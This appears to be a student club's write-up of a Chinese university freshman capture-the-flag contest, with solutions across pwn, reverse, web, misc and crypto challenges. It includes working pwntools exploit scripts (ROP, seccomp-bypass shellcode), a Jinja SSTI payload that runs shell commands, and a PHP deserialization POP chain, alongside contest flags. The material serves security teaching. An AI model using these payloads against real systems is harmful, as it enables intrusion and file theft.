2024年11月30日,为期7小时的“QLNUCTF 2024级网络安全新生赛”圆满落幕。这场比赛吸引了来自信息科学与工程学院(人工智能学院)、数学学院、化学与化工学院、物理与电子工程学院等多个学院的同学热情参与,共有61支队伍在线上赛场展开了一场激烈的较量。比赛过程中,选手们共完成了287次有效提交,用他们的智慧和实力为观众呈现了一场精彩纷呈的网络安全竞技盛宴。这场比赛不仅彰显了同学们在网络安全领域的潜力,也体现了他们合作与创新的精神,为未来的发展打下了坚实基础。
使用工具 netcat 连接容器即可获得靶机的shell
使用cat flag指令即可打印出flag
数组越界+ROP
这个题特地给还没有PWN环境的同学准备的,考察的主要内容是ROP,以及数组越界,例会上讲过
审计可以明显看到,这里指定数组索引时没任何验证,导致存在数组越界问题,通过越界就能改写到返回地址的位置
同时为了降低难度,我这边甚至做了一个可视化栈
由于存在数组越界,我们可以指定大于3的索引,比如[5]这个索引就能覆盖到返回地址处的内容,所以我们可以通过这种方法控制返回地址,然后输入777中断循环去触发ROP劫持执行流即可
但是会发现后门地址里的system函数不是/bin/sh,所以我们需要手动帮他传递/bin/sh参数,利用程序中已有的pop rdi这个gadget传参,使用ROPgadget可以找到需要的gadget
字符串参数地址和system函数地址都可以在IDA中找到
这里要注意的是,由于这道题的system()函数被传递了"sure?"这个字符串作为参数,导致我们不能直接用backdoor这个函数的地址,需要部分利用,利用这个位置的这句call system,它才是调用了system函数的一句汇编
依次交互在三个位置填入相应地址即可
最后按提示输入777中断循环就可以走到func函数的返回了
程序中有几个puts就是下图中红框中的输出,然后就会进入vul子函数
进入vul函数看一下主要漏洞,上一次例会给大家讲了gets,scanf,read函数的区别,虽然都能触发栈溢出,但是有条件
而在这个程序中,第一个问题是
这个用scanf读入,scanf(%s,v2)%s只有不会检查长度,这里这个scanf给的参数是%d,也就没有漏洞
再看第二个问题,
这个是用read进行读入的,但是这个的buf设置了56个字节,而在读入的时候只会读入32(0x20)个字节
这也没办法造成溢出,因为原本的56都填不满,更不要提溢出到别的地方
看第三个问题
利用的gets函数,是没有输入限制的,除非遇到\n,那这样就可以利用栈溢出漏洞,下面就是脚本
from pwn import *
p = process('./huanshu')
p = remote('27.30.79.248',32847)
p.recvuntil("请问空调是多少度?")
p.send(b'22\n')
p.recvuntil("请问现在灯是开着的还是关着的?")
p.send(b'11')
# gdb.attach(p)
payload = b'aaaaaaaa'*13+p64(0x40101a)+p64(0x40127F)#+p64(0x40101a)
p.sendlineafter("请问现在是几点",payload)
p.interactive()
这是我们修改之后的栈布局,前面用垃圾字节填满,然后在写入ret在写入sh地址,已经给在程序里面了
反汇编看到主函数,发现已经开启了sandBox(沙盒)
看一下沙盒禁用了那些函数,沙盒就是一个禁用函数的进程(暂时这么理解),看到这里禁用了系统调用号为59的函数,也就是execve(),也就是说system函数不能用了,system是内嵌execve函数的,也就不能用shellcode(常规),那这个题就不能打了吗?别急往下看
接着看主函数
调用mmap函数创建了0x1000大小的可读可写可执行段,下面有对这个段初始化,然后再往段中读入,我们知道c语言的底层就是利用汇编语言,那就可以往这个段中写入汇编代码,使他执行
因此这个题利用了openat getdents64 wirte函数来输出文件名
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
p = process('./pwn')
# p = remote('127.0.0.1', '9999')
payload = asm('''
mov r10, 0xffffff9c
push r10
pop rdi
push 0x2f2e
mov rsi, rsp
push 0x90800
pop rdx
mov rax, 257
syscall
push rax
pop rdi
mov esi, 0x90000080
mov edx, 0x200
mov rax, 217
syscall
mov rdi, 1
mov rax, rdi
syscall''')
p.send(payload)
p.recvuntil('flag{')
flag = p.recvuntil("}").decode('utf-8')
print("flag{"+flag+"}")
p.recv()
shell()
主要讲一下这个汇编是怎么运行的
mov r10, 0xffffff9c //将0x0xffffff9c(-100)存放到栈中
push r10 //将r10寄存器中的值存放到栈中
pop rdi //将栈顶弹出到rdi中
push 0x2f2e //将0x2f2e(./)当前目录 压入栈中
mov rsi, rsp //将rsp指针存入rsi(也就是./)
push 0x90800 //将0x90800存入 栈中
pop rdx // 弹出栈顶到rdx
mov rax, 257 //给rax赋值257
syscall //调用syscall
在这里就是调用了函数调用号为257的函数(openat函数)利用寄存器传参
opennat(-100,./,0x90800)
这里的0x90800就是打开模式0x02(可读写)+0x10000(仅打开目录)+0x80000(子进程关闭文件描述符)
这样就会打开目录
push rax //将openat返回值存放到栈中
pop rdi //再存放到rdi中
mov esi, 0x90000080 //将0x90000080存放到esi
mov edx, 0x200 //将0x200存放到edx中
mov rax, 217 //将217存放到rax
syscall
这里就是调用了系统调用号为217的函数(getdents64),这个函数就是将目录文件读入到缓冲区
getdents64(rdi,0x90000080,0x200)
这样就会将目录文件存放到mmap开辟的缓冲区
mov rdi, 1 //rdi中存入1
mov rax, rdi // 将rdi中的值存入到rax
syscall
这就是调用write函数将文件名输出出来
这里为什么不对寄存器进行修改了呢,因为要打印出来的就是上面存入的地方也就不用修改了
64位,upx打包
打开kali虚拟机
打开终端upx -d 脱壳
脱壳成功
打开ida64
F5主函数
NTEgNGMgNGUgNTUgN2IgNzcgNjUgMzEgNjMgMzAgNmQgNjUgNWYgNzQgMzAgNWYgNzIgNjUgNWYgNjIgNjkgNjcgNWYgNjYgNDAgNmQgNjkgMzEgNzkgMjEgN2QgMGE=
打开厨子magic一下
看提示:
查壳:32位
进去enc加密函数
sum初始值是0,每进行1次加密,sum就 -0x61c88647
下面是位运算
tea新手学习者点击链接看一下博客:https://blog.csdn.net/liKeQing1027520/article/detahils/141287289
贴个脚本:
#include <stdint.h>
#include <stdio.h>
// 定义解密函数
void dec(uint32_t* v, uint32_t* k) {
uint32_t i;
uint32_t sum;
uint32_t v1;
uint32_t v0;
// 将输入的密文拆分为两个 32 位整数
v0 = *v;
v1 = v[1];
sum = -0x61C88647 * 32; // 初始化一个负数作为初始的sum值,就是上面解释的sum最终结果作为初始值,把结果当作条件进行反推
// 循环32次进行解密操作
for (i = 0; i <= 31; ++i) {
v1 -= (v0 + sum) ^ (16 * v0 + k[2]) ^ ((v0 >> 5) + k[3]); //ida里是-=,在这里为了倒推回去写+=
v0 -= (v1 + sum) ^ (16 * v1 + *k) ^ ((v1 >> 5) + k[1]);
sum += 0x61C88647; // 每次解密后sum递增
}
// 更新解密后的明文值
*v = v0;
v[1] = v1;
}
int main() {
// 输入的加密数据
uint32_t enc[] = {
0x142285EF,
0x8DB607C3,
0xCFAECC96,
0xB700E6F4,
0xE96E9E15,
0x48A01A99,
0x839897D5,
0x2566BE81
};
// 加密密钥
uint32_t key[] = { 81, 76, 78, 85 };
// 解密每两个 32 位整数
for (size_t i = 0; i < 8; i += 2) {
dec(enc + i, key); // 解密每次操作两个整数
}
// 输出解密后的内容,按字符输出
for (int i = 0; i < 8; i++) {
// 将每个 32 位整数拆分成 4 个字节,并输出为字符
printf("%c%c%c%c", (enc[i] >> 24) & 0xFF,
(enc[i] >> 16) & 0xFF,
(enc[i] >> 8) & 0xFF,
enc[i] & 0xFF);
}
printf("\n");
return 0;
}
简单的加减逆向和异或:
a=[ 0x67, 0x5a, 0x58, 0x63, 0x8d, 0x74, 0x83, 0x69, 0x85, 0x7e, 0x7f, 0x69,
0x7b, 0x73, 0x78, 0x69, 0x71, 0x73, 0x69, 0x78, 0x7f, 0x69, 0x7c, 0x80, 0x69,
0x84, 0x77, 0x78, 0x69, 0x8c, 0x83, 0x79, 0x69, 0x75, 0x7e, 0x83, 0x69, 0x7a,
0x77, 0x7f, 0x69, 0x7a, 0x73, 0x8b]
for i in range (len(a)):
a[i]+=3
a[i]-=19
a[i]^=6
print(chr(a[i]),end='')
#flag:QLNU{bu_shi_men_ge_ni_jv_ran_zuo_chu_lai_le}
先查壳:
脚本:
def rc4(key, data):
"""
RC4解密/加密函数
:param key: 密钥
:param data: 输入数据(密文或明文)
:return: 处理后的数据(明文或密文)
"""
S = list(range(256))
j = 0
# 密钥调度算法 (KSA)
key = [ord(k) for k in key] # 将密钥转换为字符列表
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# 伪随机生成算法 (PRGA)
i = 0
j = 0
output = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
output.append((byte ^ k)-7)
return bytes(output)
# 示例用法
if __name__ == "__main__":
# 假设密钥和密文
key = "UNLQ" # 密钥
ciphertext = bytes([ 0x29, 0xBB, 0x67, 0x0C, 0x32, 0x5C, 0x0A, 0x7E,
0x9B, 0x8C, 0x90, 0xA0, 0x6E, 0xBE, 0xF0, 0x8B,
0x73, 0xD9, 0x5C, 0x15, 0xCB, 0x92, 0x76, 0xE7]) # 这里使用一个例子密文
# 解密过程
plaintext = rc4(key, ciphertext)
print("解密后的明文:", plaintext.decode("utf-8", errors="ignore"))
//flag:
//QLNU{0hhhhh!_you_did_it}
html:超文本标记语言(英语:HyperText Markup Language,简称:HTML)是一种用于创建网页的标准标记语言。
Css:CSS(Cascading Style Sheets,层叠样式表),是一种用来为结构化文档(如 HTML 文档或 XML 应用)添加样式(字体、间距和颜色等)的计算机语言,CSS文件扩展名为.css
Js:JavaScript 是一种脚本编程语言,它可以在网页上实现复杂的功能。
js里面就是网页的逻辑代码。
style一般是放css样式表的
找到main.js入口脚本,
ctrl+F搜索flag
发现有个getFlag函数,和一个score变量
解法一
开始游戏之后,在控制台输入score可以发现,score的值是0。这代表score存在
输入score=10000
,然后回车
发现score的值已经被赋予了10000
然后按下p返回游戏,一直到游戏结束,会弹出flag
解法2
因为有getFlag函数,直接在控制台调用getFlag函数
分析getFlag函数可以发现
async function getFlag(score){
const url = `${window.location.href}getflag.php?score=${encodeURIComponent(score)}`;
try {
const response = await fetch(url);
const data = await response.text(); // 处理返回的字符串
alert(data); // 打印结果
} catch (error) {
console.error('Error:', error.message); // 打印错误信息
}
}
这个函数的内容是向/getflag.php?score=分数,发送请求然后返回结果。
可以直接访问
0e绕过
和数组绕过
。ls
,找到大福.zip。unzip -P jiujiudafuxuezhang 大福.zip
进行解压。
然后执行ls,发现多了一个flag.txt,执行cat flag.txt
,拯救了大幅学长,并且得到了一个牛马。
了解通配符看这个https://zhuanlan.zhihu.com/p/96272363
这种题目不太好介绍,建议直接开学。
https://xz.aliyun.com/t/6885
https://blog.csdn.net/Myon5/article/details/131548888
{{lipsum.globals['os']['popen']('cat /f*').read()}}
下面是源代码,在开始之前需要先了解魔术方法和面向对象的思想。
<?php
highlight_file(__FILE__);
error_reporting(0);
class A{
public $x="die";
public $s;
public function __wakeup(){
if($this->x=="hello"){
echo "第一步不是轻轻松松!";
echo $this->s;
}else{
die("开头就死啦");
}
}
}
class B{
public $qwq;
public function __toString()
{
echo "当一个对象被当函数调用会怎么样啊";
$a=$this->qwq;
$a();
}
}
class candy{
public $v;
public function __invoke()
{
echo "最后一步!";
if(file_get_contents($this->v)=="love"){
echo "恭喜你拿到flag了呢!";
$this->getFlag();
}
}
public function getFlag(){
$flag = getenv('GZCTF_FLAG');
echo $flag;
}
}
$data = $_POST['data'];
unserialize($data);
?>
https://segmentfault.com/a/1190000007250604
所以unserialize之前得serialize。
__wakeup(),执行unserialize()时,先会调用这个函数。一看就是pop链从这里开始。 __toString(),类被当成字符串时的回应方法 -
__invoke(),调用函数的方式调用一个对象时的回应方法。
可以知道,pop链子的开头是__wakeup(),结尾时到出发getFlag函数。
在__wakeup函数内,需要把die修改为hello,然后会echo 一个变量s,
把s设为ClassB的某个实例对象,然后就会触发__toString,然后在B里面,有个变量qwq,qwq设置成candy的实例对象,那么就会触发__invoke,因为qwq()
是把对象当函数执行了。
!!!!
最后就是file_get_contents函数的绕过,这个一个考点。
使用伪协议绕过data://text/plain,love
https://blog.csdn.net/qq_51524329/article/details/121439731
if(file_get_contents($this->v)=="love"){
echo "恭喜你拿到flag了呢!";
$this->getFlag();
}
有了思路之后生成序列化文本,先把原来的代码复制到phpstudy网站目录的一个php文件下,然后运行这个php文件。删除highlight_file(__FILE__);
这段代码,去除无用的信息。
<?php
error_reporting(0);
class A{
public $x="die";
public $s;
public function __wakeup(){
if($this->x=="hello"){
echo "第一步不是轻轻松松!";
echo $this->s;
}else{
die("开头就死啦");
}
}
}
class B{
public $qwq;
public function __toString()
{
echo "当一个对象被当函数调用会怎么样啊";
$a=$this->qwq;
$a();
}
}
class candy{
public $v;
public function __invoke()
{
echo "最后一步!";
if(file_get_contents($this->v)=="love"){
echo "恭喜你拿到flag了呢!";
$this->getFlag();
}
}
public function getFlag(){
$flag = getenv('GZCTF_FLAG');
echo $flag;
}
}
//下面就是构造pop链。
$a = new A();
$b = new B();
$candy = new Candy();
$a->x="hello";
$candy->v="data://text/plain,love";
$a->s = $b;
$b->qwq=$candy;
echo serialize($a);
?>
最后输出的结果
想要学习php反序列化的,可以去看
解密可以得到一段编码
摩斯电码随便找个解码器解码
解码发现还有一层编码,内容只有大写字母和数字,是base32,或者直接用赛博厨子也能一把梭
手拼理论可行,但有点抽象,不如找找有没有顺序相关的线索
发现每张图的文件尾都有一个字节是一个数字,这个数字其实就是拼图的顺序,从左到右,从上到下,按顺序拼起来扫描即可
脚本解法:
已知每张png的文件尾后面的一个字节(整个文件的最后一字节)是拼图顺序序号,所以可以让gpt帮忙写脚本
gpt生成脚本:
import os
from PIL import Image
import numpy as np
def extract_last_byte(filename):
"""
从PNG文件中提取最后一字节的值
"""
with open(filename, 'rb') as f:
f.seek(-1, os.SEEK_END) # 移动到文件尾
last_byte = f.read(1) # 读取最后一字节
return ord(last_byte) # 返回该字节的整数值
def create_large_image(image_folder):
"""
根据文件尾部的字节值,排序并拼接成一个大的正方形PNG图片
"""
images = []
filenames = []
# 获取指定文件夹下的所有PNG文件
for filename in os.listdir(image_folder):
if filename.endswith('.png'):
file_path = os.path.join(image_folder, filename)
last_byte = extract_last_byte(file_path)
images.append((last_byte, Image.open(file_path))) # 存储字节值和对应的图像
filenames.append(filename)
# 按照最后一字节的值对图片排序
images.sort(key=lambda x: x[0]) # 排序,按最后一字节值
# 获取每个图像的尺寸,假设所有图像大小相同
img_width, img_height = images[0][1].size
grid_size = int(len(images) ** 0.5) # 25张图,拼成一个5x5的网格
# 创建一个大图,准备拼接
large_image = Image.new('RGB', (img_width * grid_size, img_height * grid_size))
# 按照排序后的顺序将小图拼接到大图中
for index, (_, img) in enumerate(images):
row = index // grid_size
col = index % grid_size
large_image.paste(img, (col * img_width, row * img_height))
# 保存拼接后的大图
large_image.save('large_image.png')
print("大图已保存为 'large_image.png'")
# 使用示例
image_folder = '.\\jigsaw_puzzle' # 替换为你的PNG文件夹路径
create_large_image(image_folder)
看提示
压缩包带密码,提示1给出了一个正则表达式的钥匙(key提示),搜索一下正则表达式,就知道给的意思是以 “Qlnu” 开头,后面紧跟着两个字母,取字母范围是“a” 或 “b”,然后是 “#”,最后是5个数字,数字的取值是[0-9]
Qlnuaa#????? Qlnuab#????? Qlnubb#????? Qlnuba#?????
就这几种组合,
爆破出来密码,拿到文本
根据反复提示,搜索银河密码
知道是什么加密了,找个在线网站直接解出来
网址:https://lingojam.com/standardgalacticalphabet
压缩包里一张图片,看提示
猜测出是盲(谐音蟒)水印,常见的盲水印是双图片,这一个是Java盲水印(单图),工具一把梭
flag:QLNU{z1_Luo_lAn_7ong_h3n9_garden}
工具链接:https://github.com/ww23/BlindWatermark
tweakpng
我们利用工具tweakpng
报错是因为文件末尾有"垃圾数据" 无需理会
我们删掉只显示的部分,另存为
思路就很明了了,那就是集齐二维码碎片
看到最后发现了压缩包的迹象
推测在png文件的末尾加了压缩包
AE 42 60 82
结尾定位过去
发现压缩包没有文件头(50 4B 03 04
)(照应断头之灾)
加上文件头之后提取
查看16进制
根据前两个可以想到应为正方形,AF为175,64为100
得到:
根据"异火"谐音"异或"猜测可能为文件异或
继续查看16进制
得知异或了AB
(这里提取出来命名为异火)
脚本复原:
key = b'AB'
with open('异火', 'rb') as file:
content = file.read()
encrypted_content = bytearray(b ^ key[i % len(key)] for i, b in enumerate(content))
with open('result', 'wb') as result_file:
result_file.write(encrypted_content)
print("已完成,存为result。")
至此,我们是时候让弗莱格一家团聚了
团聚后扫码得到
QLNU{echo 'WTB1X0FyNF9SZUAxMXlfRXhDZWwxZW43ISEh' | base64 --decode}
意思是对WTB1X0FyNF9SZUAxMXlfRXhDZWwxZW43ISEh
部分解base64
Y0u_Ar4_Re@11y_ExCel1en7!!!
QLNU{Y0u_Ar4_Re@11y_ExCel1en7!!!}
#include<stdio.h>
int main() {
printf("nice_job\n");
printf("and");
printf("One last step");
char end[] = { 0x55,0x55,0x78,0x4f,0x56 };
char endd[] = { 0x58,0x73,0x77,0x62,0x6a };
char enddd[] = { 0x46,0x35,0x58,0x32,0x31 };
char endddd[] = { 0x35,0x58,0x33,0x4a,0x68 };
char enddddd[] = { 0x61,0x57,0x78,0x6e,0x64 };
char endddddd[] = { 0x57,0x35,0x39 };
printf("this is cou zi shu");
printf("this is cou zi shu");
...
大致思路:打开之后是一个文本解密游戏玩完之后会告诉你之前黑板上的字是有问题的,复制黑板上的字,再粘贴出来之后是不同的(一般读完一定能做出来,可惜没什么人读完)
这是你的身份,观察者;
第一个房间:介绍了三个人的身份
点击之后,进入页面出现第一个黑板;
选择蓝色按钮,查看三个按钮的样式能推测出就只有蓝色按钮是没有骷髅头的
出现二个黑板
点击观察看到门的三人
出现第三块黑板:
继续剧情,会得到关键点:
按照他说的改
改为:
进入下一阶段
这个地方是找钥匙的特征
可以先不管先进入用小钥匙打开的房间
第四块黑板
钥匙在卧底身上
把鼠标移动上去:
会显示黑色钥匙回去填写黑色钥匙;
在进入黑色钥匙打开的房间:
得到了第五块黑板:
下面是一个连连看的游戏:
给相同的给消除了 之后得到一个单独的
然后和之前一样更改一下
之后进入第五个房间
有最后一块黑板
将迄今为止的黑板按照顺序进行复制并粘贴在记事本上
UUx 按按看
OVXtH 门 在 哪 里 ?
YW1lIG 没 钥 匙 打 不 开
k1IGFUc 钥 匙 在 卧 底 身 上
GV 排 挤
TIH0= 复 制 & 粘 贴
最后得到:UUxOVXtHYW1lIGk1IGFUcGVTIH0=
QLNU{we1c0me_t0_re_big_f@mi1y!}
QLNU{@U_yyds} CRYPTO
from Crypto.Util.number import *
p= 166384155677933861981257579791219175140355327244477904736665194885997453093682957962795797831222667939884112394156399549833746109089292522457258539473867165148549226287049636957198497459992066205327551289130724019305187363110780833457773157306049131752469271092258848841608592624447627876690546456676685897669
q= 138461922900806761098184736519727232242631578461432256856884833119117555214747776596641058657350909787916622679813931259947205024178521433610817591997278619173516062341073414571230377742742877506156214927348341753478722726159039130535203788413310165734155035558750856080904175918915803068014847200262543771401
n= 23037870135393907893103398344813462855225332081983174125610817642794833376780113266511691776090400007439379613238229744904696309239510787073074700712594636325502159639236612201512300588872836604531064976688465721530484208963012124436218783685162975997387878845983955705972888688261358249850910766711151737181078404116507324132993210622673085104786397752455982583489975396806640158846401765019434919543336145512889653786649532801106909191104317406282467930910567553750622389322082247515226849245767336399397069659991736009670581599049737564873090142708500949704601461404243129584672702805732184691365549283890414764269
d= 15361978161753653185780728612336438046236511242729247485593151072032241533769744264458663690845271689657877664191584571800359085861053464544920235833820562461827210253662498890982026153689241687208936486965571211630127873047173243358518044247147522987958675152178843223014803981959955702530397354411157698193951283394350016448216146432646166641976691905546865357115761860353623916316887742834313065193038725830846252295082072817232032181599905965757040084643822127131198771036616122553962773145773511037345305305170319087266497270990313549232675081581739770565906581623679049867419187439153102941587125761835203623073
e= 65537
c= 18984917878863323196869212255453839551005454667287936161246939468250604389562101097150334641390257286921086780724639081391934034559011253169988528944079128677774804994858250835491826432515557906646682236813171103312047349616962276294709375558127511719471101927240557407341549195886862049383193155212299019081021277415748852861641157738458368033129376648622402012566064817377932595839618320652656225139629651600752187895331670093795219881958909032363667286294013475768706994949516323868186662064087659230079893938171755269439911987592254899020749100605233364472740616825351485785288635014487118196750757340701544002691
m=pow(c,d,n)
flag=long_to_bytes(m)
print(flag)
import gmpy2
import libnum
def continuedFra(x, y):
"""计算连分数
:param x: 分子
:param y: 分母
:return: 连分数列表
"""
cf = []
while y:
cf.append(x // y)
x, y = y, x % y
return cf
def gradualFra(cf):
"""计算传入列表最后的渐进分数
:param cf: 连分数列表
:return: 该列表最后的渐近分数
"""
numerator = 0
denominator = 1
for x in cf[::-1]:
# 这里的渐进分数分子分母要分开
numerator, denominator = denominator, x * denominator + numerator
return numerator, denominator
def solve_pq(a, b, c):
"""使用韦达定理解出pq,x^2−(p+q)∗x+pq=0
:param a:x^2的系数
:param b:x的系数
:param c:pq
:return:p,q
"""
par = gmpy2.isqrt(b * b - 4 * a * c)
return (-b + par) // (2 * a), (-b - par) // (2 * a)
def getGradualFra(cf):
"""计算列表所有的渐近分数
:param cf: 连分数列表
:return: 该列表所有的渐近分数
"""
gf = []
for i in range(1, len(cf) + 1):
gf.append(gradualFra(cf[:i]))
return gf
def wienerAttack(e, n):
"""
:param e:
:param n:
:return: 私钥d
"""
cf = continuedFra(e, n)
gf = getGradualFra(cf)
for d, k in gf:
if k == 0: continue
if (e * d - 1) % k != 0:
continue
phi = (e * d - 1) // k
p, q = solve_pq(1, n - phi + 1, n)
if p * q == n:
return d
n= 100541756352854636680885512032705513079056068698429903440656941778827700278952379226184495052511127403033969493295451475928544133372951526711441316420202575867588513342581912348151506435195323891691081724974112352549245835338147300330649119960742423278088611766082267178772266368392399725254066025934962812079
e= 62161870082391495611970281935106465305086476364158041824541523962990489410136152726509181076123557363455618316162868917810410351253790118172227114464339158541434203762425747709447133542487584793879876313209827912718504833775534346726671098816643848982190835865383628420074419418814961855270106747747773849697
c= 46042801453600335779613781388057406955176992287287986345848871202113220856049368522430362345966842232101335607313995832925098489242442596702935677811272671915266177569760921767735520988443964302603873650061683548712088874347457280444586667707805532007307727417582561078439682774565705482900361990879787301195
d=wienerAttack(e, n)
m=pow(c, d, n)
print(libnum.n2s(m).decode())
可以确定结果是 潍坊市潍城区健康西街潍坊站北广场
随着“QLNUCTF 2024级网络安全新生赛”的圆满结束,我们向所有参赛队伍表示祝贺。你们展现了卓越的技能和团队精神。让我们期待在未来的挑战中再次相遇,共同为网络安全领域的发展贡献力量。感谢大家的参与,期待下一次校赛!
长
按
关
注
网络安全社团公众号
微信号 : qlnu_ctf
新浪微博:齐鲁师范学院网络安全社团